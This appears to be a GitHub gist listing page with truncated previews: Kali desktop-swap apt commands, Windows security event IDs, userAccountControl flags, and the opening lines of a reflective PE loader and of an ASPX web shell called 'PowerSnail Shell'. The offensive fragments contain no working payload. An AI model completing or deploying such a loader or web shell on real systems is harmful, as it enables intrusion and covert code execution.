# Get rid of Kali xfce
apt remove kali-desktop-xfce --allow-remove-essential
apt purge kali-desktop-xfce --autoremove
# Install xfce
apt install xfce4 lightdm
# Get rid of firefox
apt remove firefox-esr --allow-remove-essential
A reference for triaging security alerts
https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/default.aspx
Event ID | Description |
---|---|
4624 | An account was successfully logged on |
4625 | An account failed to log on |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Reflectively load a PE file | |
$code = @" | |
using System; | |
using System.Runtime.InteropServices; | |
using System.IO; | |
public class PELoader | |
{ | |
[DllImport("kernel32.dll", SetLastError = true)] | |
private static extern IntPtr GetCurrentProcess(); |
Property Flag | Value in Hexadecimal | Value in Decimal | Brief Description |
---|---|---|---|
SCRIPT | 0x0001 | 1 | The logon script will be run. |
ACCOUNTDISABLE | 0x0002 | 2 | The user account is disabled. |
HOMEDIR_REQUIRED | 0x0008 | 8 | The home folder is required. |
LOCKOUT | 0x0010 | 16 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<%@ Page Language="C#" AutoEventWireup="true" %> | |
<%@ Import Namespace="System.Diagnostics" %> | |
<%@ Import Namespace="System.IO" %> | |
<!DOCTYPE html> | |
<html xmlns="http://www.w3.org/1999/xhtml"> | |
<head runat="server"> | |
<title>PowerSnail Shell</title> | |
<style> | |
.output { | |
font-family: Consolas, "Courier New", monospace; |
NewerOlder